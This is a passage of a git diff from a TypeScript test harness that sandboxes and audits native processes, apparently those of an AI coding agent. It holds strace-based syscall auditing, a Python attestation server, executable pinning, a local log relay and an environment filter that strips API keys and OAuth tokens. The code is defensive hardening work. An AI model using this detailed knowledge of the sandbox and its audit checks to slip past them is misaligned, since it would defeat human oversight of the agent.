read.catch(()=>report("native executable transfer failed")); + void new Response(server.stderr).text().then(text=>{if(text&&!closed)report("native executable transfer failed");}); + return {selected,hash,descriptor:fd,program,get transferPeer(){return transferPeer;},wrap:(argv:readonly string[])=>[program,"receive",socket,String(PIN_FD),"--",...argv],mount:["--perms","0555","--ro-bind-data",String(PIN_FD),selected],beforeLaunch:validate, + afterSpawn(pid:number){try{if(owner)throw Error("native executable launch reused");owner={pid,start:identity(pid).start};}finally{closePin();}},dispose}; +} diff --git a/scripts/native-shared-audit.ts b/scripts/native-shared-audit.ts new file mode 100644 index 0000000000..444c8e7971 --- /dev/null +++ b/scripts/native-shared-audit.ts @@ -0,0 +1,72 @@ +/** Reuse only a live outer guard's pinned strace file, never an ambient tracer. */ +import {closeSync,constants,fstatSync,lstatSync,openSync,readFileSync,statSync} from "node:fs"; +const spawn=Bun.spawn.bind(Bun),spawnSync=Bun.spawnSync.bind(Bun); +import {join,dirname} from "node:path"; +const KEY="BRAIN_NATIVE_EXEC_AUDIT"; +const AUDIT_SERVER="# Read-only audit attestation in the owning namespace; no payload descriptors.\nimport json, os, socket, stat, struct, sys, ctypes\npath,owner,owner_start,dev,ino,tracer_dev,tracer_ino=sys.argv[1:]\nowner=int(owner)\nlibc=ctypes.CDLL(None,use_errno=True)\nif libc.prctl(1,9,0,0,0) or os.getppid()!=owner:sys.exit(125)\ndef identity(pid):\n fields=open('/proc/%d/stat'%pid).read().rsplit(') ',1)[1].split()\n return fields[19],int(fields[1]),fields[0]\ndef ancestor(pid,target):\n for depth in range(64):\n if pid==target:return True\n if pid<=1:return False\n pid=identity(pid)[1]\n return False\ndef tracer(pid):\n for line in open('/proc/%d/status'%pid):\n if line.startswith('TracerPid:'):return int(line.split()[1])\n return 0\ninfo=os.fstat(3)\nassert stat.S_ISREG(info.st_mode) and info.st_nlink==1 and stat.S_IMODE(info.st_mode)==0o600 and str(info.st_dev)==dev and str(info.st_ino)==ino\nos.set_inheritable(3,False)\nserver=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)\nserver.bind(path);os.chmod(path,0o600);server.listen(16)\nwhile True:\n peer,_=server.accept()\n peer.settimeout(2)\n try:\n pid,uid,gid=struct.unpack('3i',peer.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12))\n assert uid==os.getuid() and identity(owner)[0]==owner_start and ancestor(pid,owner)\n data=b''\n while b'\\n' not in data:\n part=peer.recv(4096)\n if not part:raise ValueError()\n data+=part\n if len(data)>4096:raise ValueError()\n request=json.loads(data)\n traced=tracer(pid);assert traced>1\n start,parent,state=identity(traced)\n assert state in ('R','S','D','I')\n exe=os.stat('/proc/%d/exe'%traced)\n assert str(exe.st_dev)==tracer_dev and str(exe.st_ino)==tracer_ino\n args=open('/proc/%d/cmdline'%traced,'rb').read().split(b'\\0')\n assert b'--kill-on-exit' in args and b'-f' in args\n held=False\n for fd in os.listdir('/proc/%d/fd'%traced):\n try:\n output=os.stat('/proc/%d/fd/%s'%(traced,fd))\n if output.st_dev==info.st_dev and output.st_ino==info.st_ino:held=True\n except OSError:pass\n assert held\n if request.get('tracer') is not None:assert request['tracer']==traced and request['start']==start\n current=os.fstat(3)\n assert current.st_dev==info.st_dev and current.st_ino==info.st_ino and current.st_nlink==1 and stat.S_IMODE(current.st_mode)==0o600\n offset=request.get('offset',current.st_size)\n assert isinstance(offset,int) and 0<=offset<=current.st_size<=64*1024*1024\n text=os.pread(3,current.st_size-offset,offset).decode('utf8') if request.get('read') else ''\n response={'ok':True,'tracer':traced,'start':start,'size':current.st_size,'text':text}\n except Exception:response={'ok':False}\n try:peer.sendall(json.dumps(response).encode()+b'\\n')\n except OSError:pass\n finally:peer.close()\n"; +interface Token {owner:number;start:string;fd:number;dev:string;ino:string;tracerDev:string;tracerIno:string;path:string;socket:string;server:number;serverStart:string;socketDev:string;socketIno:string} +const inherited=process.env[KEY];delete process.env[KEY]; +export function nativeAuditEnvironment(env:Record){return inherited&&!Object.hasOwn(env,KEY)?{...env,[KEY]:inherited}:env;} +function proc(pid:number){const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ");return {start:fields[19]!,parent:Number(fields[1]),state:fields[0]!};} +function tracerPid(){return Number(/^TracerPid:\s+(\d+)/m.exec(readFileSync("/proc/self/status","utf8"))?.[1]??0);} +function ancestor(pid:number){let at=process.pid;for(let n=0;at>1&&n<64;n++){if(at===pid)return true;at=proc(at).parent;}return false;} +export function ownNativeAudit(path:string,tracer:string){ + const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW),file=fstatSync(fd,{bigint:true}),exe=statSync(tracer,{bigint:true});let closed=false; + const socket=join(dirname(path),"attest.sock"); + let server:ReturnType; + try{server=spawn(["/usr/bin/python3","-I","-S","-c",AUDIT_SERVER,socket,String(process.pid),proc(process.pid).start,String(file.dev),String(file.ino),String(exe.dev),String(exe.ino)],{env:{},stdin:"ignore",stdout:"ignore",stderr:"ignore",stdio:["ignore","ignore","ignore",fd]});server.unref(); + const deadline=Date.now()+2000;while(true){try{lstatSync(socket);break;}catch{if(Date.now()>deadline)throw Error("native outer audit attestation unavailable");Atomics.wait(new Int32Array(new SharedArrayBuffer(4)),0,0,5);}} + }catch(error){closeSync(fd);throw error;} + const endpoint=lstatSync(socket,{bigint:true}); + const token:Token={owner:process.pid,start:proc(process.pid).start,fd,dev:String(file.dev),ino:String(file.ino),tracerDev:String(exe.dev),tracerIno:String(exe.ino),path,socket,server:server.pid,serverStart:proc(server.pid).start,socketDev:String(endpoint.dev),socketIno:String(endpoint.ino)}; + return {env:{[KEY]:JSON.stringify(token)},close(){if(closed)return;closed=true;closeSync(fd);if(server.exitCode===null)server.kill("SIGKILL");}}; +} + +export function nativeTraceSubtree(trace:string,root:number):string { + const lines=trace.split("\n"),edges:{parent:number;child:number;line:number;thread:boolean}[]=[],pending=new Map(),exits:{pid:number;line:number;group:boolean}[]=[]; + for(const [line,text]of lines.entries()){ + const exit=/^\s*(\d+)\s+(exit_group|exit)\(/.exec(text);if(exit)exits.push({pid:Number(exit[1]),line,group:exit[2]==="exit_group"}); + const begin=/^\s*(\d+)\s+(clone3?|fork|vfork)\(/.exec(text),resume=/^\s*(\d+)\s+<\.\.\. (clone3?|fork|vfork) resumed>/.exec(text); + if(!begin&&!resume)continue;const parent=Number((begin??resume)![1]); + if(begin&&text.includes("")){pending.set(parent,{line,thread:text.includes("CLONE_THREAD")});continue;} + const result=/\s= ([1-9]\d*)(?:\s.*)?$/.exec(text);if(!result)continue;const first=resume?pending.get(parent):undefined; + edges.push({parent,child:Number(result[1]),line:first?.line??line,thread:first?.thread??text.includes("CLONE_THREAD")});pending.delete(parent); + } + const owned=new Map([[root,{birth:0,group:root}]]); + const death=(pid:number,birth:number,group:number):number=>{ + for(const event of exits){ + if(event.linedeath(edge.parent,parent.birth,parent.group)||owned.has(edge.child))continue;owned.set(edge.child,{birth:edge.line,group:edge.thread?parent.group:edge.child});changed=true;}if(!changed)break;} + const ends=new Map([...owned].map(([pid,scope])=>[pid,death(pid,scope.birth,scope.group)])); + return lines.filter((text,line)=>{const pid=Number(/^\s*(\d+)/.exec(text)?.[1]??0),scope=owned.get(pid);return scope&&line>=scope.birth&&line<=(ends.get(pid)??-1);}).join("\n"); +} + +export function borrowNativeAudit(reject:(reason:string)=>void){ + const tracer=tracerPid();if(!tracer)return; + if(!inherited)throw Error("native outer audit ownership unavailable"); + let token:Token;try{token=JSON.parse(inherited);}catch{throw Error("native outer audit ownership unavailable");} + if(!Number.isSafeInteger(token.owner)||!Number.isSafeInteger(token.fd)||token.fd<3||!/^\d+$/.test(token.start)||!ancestor(token.owner))throw Error("native outer audit ownership unavailable"); + let traceStart:string|undefined,tracedPid:number|undefined; + const rpc=(read=false,offset?:number):{size:number;text:string}=>{ + try{ + if(proc(token.owner).start!==token.start||proc(token.server).start!==token.serverStart)throw Error(); + const endpoint=lstatSync(token.socket,{bigint:true});if(!endpoint.isSocket()||String(endpoint.dev)!==token.socketDev||String(endpoint.ino)!==token.socketIno)throw Error(); + const client='import json,os,socket,struct,sys\ns=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM);s.settimeout(2);s.connect(sys.argv[1])\npid,uid,gid=struct.unpack("3i",s.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12))\nassert pid==int(sys.argv[2])\ns.sendall(sys.argv[3].encode()+b"\\n")\nout=b""\nwhile True:\n part=s.recv(65536)\n if not part:break\n out+=part\n if out.endswith(b"\\n"):break\nsys.stdout.buffer.write(out)'; + const result=spawnSync(["/usr/bin/python3","-I","-S","-c",client,token.socket,String(token.server),JSON.stringify({read,offset,tracer:tracedPid,start:traceStart})],{stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:2500}); + if(result.exitCode!==0)throw Error();const response=JSON.parse(result.stdout.toString());if(response.ok!==true||!Number.isSafeInteger(response.tracer)||!/^\d+$/.test(response.start))throw Error(); + tracedPid=response.tracer;traceStart=response.start;return response; + }catch{throw Error("native outer audit ownership unavailable");} + }; + const offset=rpc().size;let root=0,rootStart="",closed=false,timer:ReturnType|undefined,pending:{pid:number;at:number;offset:number}|undefined; + const validate=()=>{rpc();}; + const all=()=>rpc(true,offset).text; + const read=()=>root?nativeTraceSubtree(all(),root):""; + const dispose=()=>{closed=true;clearInterval(timer);}; + const monitor=()=>{if(closed)return;try{validate();if(root&&rootStart){try{if(proc(root).start!==rootStart)throw Error("native inner audit identity changed");}catch(error){if(!["ENOENT","ESRCH"].includes((error as NodeJS.ErrnoException).code??""))throw error;}}if(pending){const trace=rpc(true,pending.offset).text;if(new RegExp(`^\\s*${pending.pid}\\s+execve\\("/usr/bin/true"`,"m").test(trace))pending=undefined;else if(Date.now()-pending.at>2000)throw Error("native outer audit stopped growing");} + if(!pending){const heartbeatOffset=rpc().size;const heartbeat=spawn(["/usr/bin/true"],{stdin:"ignore",stdout:"ignore",stderr:"ignore"});heartbeat.unref();pending={pid:heartbeat.pid,at:Date.now(),offset:heartbeatOffset};} + }catch(error){dispose();if(root&&rootStart){try{if(proc(root).start===rootStart)process.kill(root,"SIGKILL");}catch{}}reject(error instanceof Error?error.message:"native outer audit unavailable");}}; + return {read,beforeLaunch:validate,afterSpawn(pid:number){root=pid;try{rootStart=proc(pid).start;}catch{rootStart="";}timer=setInterval(monitor,250);timer.unref();},dispose,env:{[KEY]:inherited}}; +} diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index e630c5f3db..445b675d45 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -57,9 +57,15 @@ function owner():Sink|undefined { if(sink.ownerPid!==process.pid&&sink.ownerPidNamespace===pidNamespace()){ let current:string|undefined; try{current=start(sink.ownerPid);}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT"&& (error as NodeJS.ErrnoException).code!=="ESRCH")throw Error("Native receipt owner is unavailable");} - if(current!==sink.ownerStart){ - // This process accepted the owner's live identity at preload. Its death - // revokes delivery only: never reopen an expired path or propagate it. + if(current!==undefined&¤t!==sink.ownerStart)throw Error("Native receipt owner is unavailable"); + let ancestor=false,pid=process.pid; + for(let depth=0;pid>1&&depth<64;depth++){ + if(pid===sink.ownerPid){ancestor=true;break;} + const parent=/^PPid:\s+(\d+)/m.exec(readFileSync(`/proc/${pid}/status`, "utf8"));if(!parent)break;pid=Number(parent[1]); + } + if(current===undefined||!ancestor){ + // An accepted channel loses delivery on owner death or orphaning. Do not + // pass its token to a builder that can no longer verify the owner chain. state.degraded=true;state.sink=undefined; if(same(sink))closeSync(sink.fd); writeSync(2,'{"kind":"native-receipt-degraded","reason":"owner-expired","delivery":"write-nothing"}\n');return; @@ -115,7 +121,11 @@ function nativeReceiptBwrapPlan(argv:readonly string[],file:string):{insertion:n export function nativeReceiptBwrapInsertion(argv:readonly string[],file:string):number{return nativeReceiptBwrapPlan(argv,file).insertion;} /** Only trusted fixture interpreters inherit this channel, never native/worker payloads. */ export function inheritNativeReceipts(options:Record,argv:readonly string[],defaultStderr:string):{options:Record&{env:Record};argv:string[]} { - const sink=options.env?.[KEY]?verify(options.env[KEY]):owner(); + // A trusted descendant may retain an old env object after its owner dies. + // Revoke its accepted channel before considering that object's token, so a + // rebuild cannot reintroduce revoked receipt authority into a new child. + const current=owner(); + const sink=state.degraded?undefined:options.env?.[KEY]?verify(options.env[KEY]):current; const {stdin,stdout,stderr,...rest}=options; const stdio=options.stdio?[...options.stdio]:[stdin??"ignore",stdout??"pipe",stderr??defaultStderr]; while(stdio.length<3)stdio.push("ignore"); diff --git a/scripts/native-title-collector.ts b/scripts/native-title-collector.ts new file mode 100644 index 0000000000..7dcc9b16db --- /dev/null +++ b/scripts/native-title-collector.ts @@ -0,0 +1,35 @@ +/** Test-owned projection of the real product OTLP collector; never ambient loopback. */ +import {lstatSync,readFileSync,writeFileSync} from "node:fs"; +import {join} from "node:path"; +const serve=Bun.serve.bind(Bun),fetch=Bun.fetch.bind(Bun); +const TITLE_ENTRY="/** Trusted test-only endpoint, using the turn-proxy TCP-to-Unix handoff. */\nimport {createServer,connect,type Socket} from \"node:net\";\nconst [socket,port,separator,...command]=process.argv.slice(2);\nif(socket!==\"/tmp/native-relay/title.sock\"||!port||!/^\\d+$/.test(port)||Number(port)<1||Number(port)>65535||separator!==\"--\"||!command[0]?.startsWith(\"/\"))throw Error(\"native title endpoint unavailable\");\nconst peers=new Set();\nconst track=(peer:Socket)=>{peers.add(peer);peer.on(\"error\",()=>{});peer.once(\"close\",()=>peers.delete(peer));return peer;};\nconst server=createServer(peer=>{track(peer);const upstream=track(connect(socket));peer.pipe(upstream);upstream.pipe(peer);peer.once(\"close\",()=>upstream.destroy());upstream.once(\"close\",()=>peer.destroy());});\nawait new Promise((resolve,reject)=>{server.once(\"error\",reject);server.listen(Number(port),\"127.0.0.1\",()=>{server.off(\"error\",reject);resolve();});});\nconst child=Bun.spawn(command,{env:process.env,stdin:\"inherit\",stdout:\"inherit\",stderr:\"inherit\"});\nconst terminate=(signal:NodeJS.Signals)=>child.kill(signal);\nprocess.on(\"SIGTERM\",terminate);process.on(\"SIGINT\",terminate);\ntry{process.exitCode=await child.exited;}finally{process.off(\"SIGTERM\",terminate);process.off(\"SIGINT\",terminate);for(const peer of peers)peer.destroy();server.close();}\n"; +interface Scope {isLive():boolean} +interface Collector {scope:Scope;endpoint:string;token:string;active:boolean} +const collectors=new Set(); +const endpointKey="OTEL_EXPORTER_OTLP_LOGS_ENDPOINT",headersKey="OTEL_EXPORTER_OTLP_LOGS_HEADERS"; +function endpoint(value:string){const url=new URL(value);if(url.protocol!=="http:"||url.hostname!=="127.0.0.1"||!url.port||url.pathname!=="/v1/logs"||url.search||url.hash||url.username||url.password)throw Error("native title collector endpoint differs");return url;} +export function registerNativeTitleCollector(env:Record,scope:Scope):()=>void { + endpoint(env[endpointKey]!);const token=env[headersKey];if(!scope.isLive()||!/^Authorization=Bearer [0-9a-f-]{36}$/.test(token??""))throw Error("native title collector declaration unavailable"); + const role:Collector={scope,endpoint:env[endpointKey]!,token:token!.slice("Authorization=".length),active:true};collectors.add(role); + return ()=>{role.active=false;collectors.delete(role);}; +} +export function prepareNativeTitleCollector(env:Record,scope:Scope,directory:string){ + const url=env[endpointKey];if(!url||env.OTEL_LOGS_EXPORTER!=="otlp")return; + const found=[...collectors].filter(role=>role.endpoint===url&&role.scope===scope&&role.active&&scope.isLive()); + if(found.length!==1)return;const role=found[0]!,target=endpoint(url); + if(env[headersKey]!==`Authorization=${role.token}`)throw Error("native title collector credential differs"); + let entryStamp:ReturnType|undefined; + const entry=join(directory,"title-entry.ts"),bytes=Buffer.from(TITLE_ENTRY); + const validate=()=>{if(entryStamp){const now=lstatSync(entry);if(!now.isFile()||now.nlink!==1||now.dev!==entryStamp.dev||now.ino!==entryStamp.ino||(now.mode&0o777)!==0o444||!readFileSync(entry).equals(bytes))throw Error("native title collector entry changed");}if(!role.active||!collectors.has(role)||role.scope!==scope||!scope.isLive()||env[endpointKey]!==role.endpoint||env[headersKey]!==`Authorization=${role.token}`)throw Error("native title collector declaration unavailable");}; + writeFileSync(entry,bytes,{mode:0o444});entryStamp=lstatSync(entry); + const socket=join(directory,"title.sock"); + const handle=async(request:Request)=>{ + try{validate();}catch{return new Response(null,{status:403});} + if(request.method!=="POST"||new URL(request.url).pathname!=="/v1/logs"||new URL(request.url).search||request.headers.get("authorization")!==role.token)return new Response(null,{status:403}); + return fetch(role.endpoint,{method:"POST",headers:request.headers,body:request.body,redirect:"manual",signal:request.signal}); + }; + const server=serve({unix:socket,maxRequestBodySize:1024*1024,fetch:handle}),stamp=lstatSync(socket,{bigint:true}); + const allowed="/tmp/native-relay/title.sock",port=target.port; + return {socket,handle,validate,dispose(){server.stop(true);},args:["--title-collector",port,allowed,String(stamp.dev),String(stamp.ino)], + wrap:(argv:string[])=>[process.execPath,"--config=/dev/null","--no-env-file","/tmp/native-relay/title-entry.ts",allowed,port,"--",...argv]}; +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 0933a39879..84993ed25e 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,6 @@ +import {ownNativeAudit,borrowNativeAudit} from "./native-shared-audit"; +import {registerNativeTitleCollector,prepareNativeTitleCollector} from "./native-title-collector"; +import {pinNativeWorkerExecutable} from "./native-runtime-pin"; import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; import { nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; @@ -31,13 +34,13 @@ const FORBIDDEN_BIND_ROOTS = new Set(["/", "/run", "/var/run", "/tmp", "/dev", " export function nativeProductEnvironment(env:Record):Record { return Object.fromEntries(Object.entries(env).filter(([key,value])=>typeof value==="string" && !/^(?:LD_|DYLD_|AWS_|AZURE_|GOOGLE_APPLICATION_CREDENTIALS$)/.test(key) - && !["NODE_OPTIONS","BUN_OPTIONS","BASH_ENV","ENV","ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN","BRAIN_NATIVE_RECEIPT"].includes(key))) as Record; + && !["NODE_OPTIONS","BUN_OPTIONS","BASH_ENV","ENV","ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN","BRAIN_NATIVE_RECEIPT","BRAIN_NATIVE_EXEC_AUDIT"].includes(key))) as Record; } const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; const guardedPlans=new WeakSet(); -type GuardedPlan={argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean}; +type GuardedPlan={afterSpawn?(pid:number):void;argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean}; const guardedBoundaries=new WeakMap(); export function nativeGuardedBoundary(argv:readonly string[]):GuardedPlan|undefined{return guardedBoundaries.get(argv);} export function isGuardedNativePlan(argv:readonly string[]):boolean{return guardedPlans.has(argv);} @@ -315,13 +318,14 @@ export function compileSocketPolicy(): string { } /** Kernel policy persists across native exec/fork and emulates only the pinned relay connection. */ -function nativeSocketCommand(command: string[], source: string, allowed: string, turnProxy?:{source:string;allowed:string}): string[] { +function nativeSocketCommand(command: string[], source: string, allowed: string, turnProxy?:{source:string;allowed:string},title?:ReturnType): string[] { const origin = ownedSocketOrigin(source), route = scriptedRoute.getStore(); if (!origin || !route || normalizedOrigin(origin) !== normalizedOrigin(route.origin)) refuse("native socket policy lacks scripted authority"); const info = lstatSync(realpathSync(source), { bigint: true }); const proxyArgs=turnProxy?nativeTurnProxyArguments(turnProxy.source,turnProxy.allowed):[]; - return [compileSocketPolicy(), "--head", nativeTestHead(), "--socket", allowed, "--device", String(info.dev), - "--inode", String(info.ino), "--allowed", allowed,...proxyArgs,"--", ...command]; + const argv=[compileSocketPolicy(), "--head", nativeTestHead(), "--socket", allowed, "--device", String(info.dev), + "--inode", String(info.ino), "--allowed", allowed,...proxyArgs,...title?.args??[],"--", ...command]; + return argv; } /** Broker args are minted only for an already-owned scripted proxy service. */ @@ -498,6 +502,8 @@ export function scrubNativeStartupTrace(trace: string, fixtureRoots: readonly st } export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number, restrictedProbe = false) { + let sharedAudit:ReturnType; + try{sharedAudit=borrowNativeAudit(reason=>refuse(reason));}catch(error){return refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} const diagnosticFixtureRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; const diagnosticRoot = workerUid === undefined ? undefined : process.argv.find(value => value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); if (diagnosticRoot) { @@ -508,18 +514,16 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c const log = join(directory, "connect.log"); const liveStarts=new Map(); writeFileSync(log, "", { mode: 0o600 }); - if (workerUid !== undefined && !auditAcl("set", workerUid, directory, log)) { - cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); - } + let accessPrepared = false; const owner = nativeKernelIdentity().uid, directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); const storageIntact = () => { try { const folder = lstatSync(directory, { bigint: true }), file = lstatSync(log, { bigint: true }); return folder.isDirectory() && file.isFile() && folder.uid === BigInt(owner!) && file.uid === BigInt(owner!) && folder.dev === directoryStamp.dev && folder.ino === directoryStamp.ino && file.dev === logStamp.dev && file.ino === logStamp.ino - && (folder.mode & 0o7777n) === (workerUid === undefined ? 0o700n : 0o730n) - && (file.mode & 0o7777n) === (workerUid === undefined ? 0o600n : 0o620n) - && (workerUid === undefined || auditAcl("check", workerUid, directory, log)); + && (folder.mode & 0o7777n) === (accessPrepared ? 0o730n : 0o700n) + && (file.mode & 0o7777n) === (accessPrepared ? 0o620n : 0o600n) + && (!accessPrepared || (workerUid !== undefined && auditAcl("check", workerUid, directory, log))); } catch { return false; } }; let receipt: AuditReceipt | undefined; @@ -532,7 +536,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c nativeReceipt({...receipt}); return receipt; } let trace = ""; - try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } + try { trace = sharedAudit?sharedAudit.read():readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } // Wider diagnostics may contain syscall-looking filenames; only actual // connect/exec records participate in the security receipt. const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; @@ -556,21 +560,33 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if(socketDenials)nativeReceipt({kind:"native-offline-socket-denial",head:nativeTestHead(),success:false,reason:"native socket operation denied",count:socketDenials}); nativeReceipt({...receipt}); return receipt; - } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } + } finally { sharedAudit?.dispose();cleanup(); rmSync(directory, { recursive: true, force: true }); } }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], + return { argv: sharedAudit?[...argv]:[straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], + afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);}, + beforeLaunch() { + sharedAudit?.beforeLaunch(); + if (!storageIntact()) refuse("native audit storage integrity failed"); + if (workerUid !== undefined && !accessPrepared) { + if (!auditAcl("set", workerUid, directory, log)) { + cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); + } + accessPrepared = true; + if (!storageIntact()) refuse("native audit storage integrity failed"); + } + }, dispose() { finish(); }, receipt: finish, nativeExecuted(){ if(restrictedProbe)return false; if(receipt)return receipt.nativeLaunched; if(!storageIntact())return false; - try{const trace=readFileSync(log);return storageIntact()&&nativeExecObserved(trace.toString("utf8"),expected);}catch{return false;} + try{const trace=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);return storageIntact()&&nativeExecObserved(trace.toString("utf8"),expected);}catch{return false;} }, liveExecs(){ if(!storageIntact())throw Error("native fixture RTK audit integrity unavailable"); - const bytes=readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); + const bytes=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); const pids=new Map(); for(const {pid,path} of nativeExecTrace(bytes.toString("utf8")).events){ if(pid>0&&expected.includes(path)){let start=liveStarts.get(pid);if(!start){try{start=processStart(pid);}catch{continue;}liveStarts.set(pid,start);}pids.set(pid,start);} @@ -744,12 +760,22 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {}, beforeLaunch };guardedBoundaries.set(audited.argv,boundary);return boundary; + const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();} };guardedBoundaries.set(audited.argv,boundary);return boundary; } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -interface ScriptedAuthority { fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } +interface ScriptedAuthority { isLive():boolean; fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } const scriptedRoute = new AsyncLocalStorage(); +export function nativeFixtureTitleCollector(env:Record):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("native title collector declaration unavailable");return registerNativeTitleCollector(env,scope);} + +export interface NativeFixtureWorkerSpawnRecord {pid:number;start:string;argv:readonly string[];command:readonly string[];env:Readonly>;brainPath:string|undefined;bwrap:number} +const workerSpawnRecords=new WeakSet(),workerSpawnObservers=new Set<{scope:ScriptedAuthority;observe:(record:NativeFixtureWorkerSpawnRecord)=>void}>(); +export function nativeFixtureIsWorkerSpawnRecord(record:object):boolean{return workerSpawnRecords.has(record);} +export function nativeFixtureObserveWorkerSpawns(observe:(record:NativeFixtureWorkerSpawnRecord)=>void):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("worker spawn observation requires scripted scope");const entry={scope,observe};workerSpawnObservers.add(entry);return ()=>workerSpawnObservers.delete(entry);} +function recordFixtureWorkerSpawn(pid:number,launch:{argv?:string[];command:readonly string[];env?:Record;brainPath?:string},scope:ScriptedAuthority):void { + const matching=[...workerSpawnObservers].filter(entry=>entry.scope===scope);if(!matching.length)return; + const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap:nativeBwrapIndex(launch.argv!)});workerSpawnRecords.add(record);for(const entry of matching)entry.observe(record); +} /** Test code pins its scripted service before building a restricted turn. */ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; fixtureCredentials?:Readonly>; turnProxy?: boolean }): () => void { @@ -758,7 +784,7 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); const prior = previous?.origin === target.origin ? previous : undefined; - let authority: ScriptedAuthority; + let authority: ScriptedAuthority;let active=true; try { const fixtureRoots = fixture?.fixtureRoots?.map(path => { let 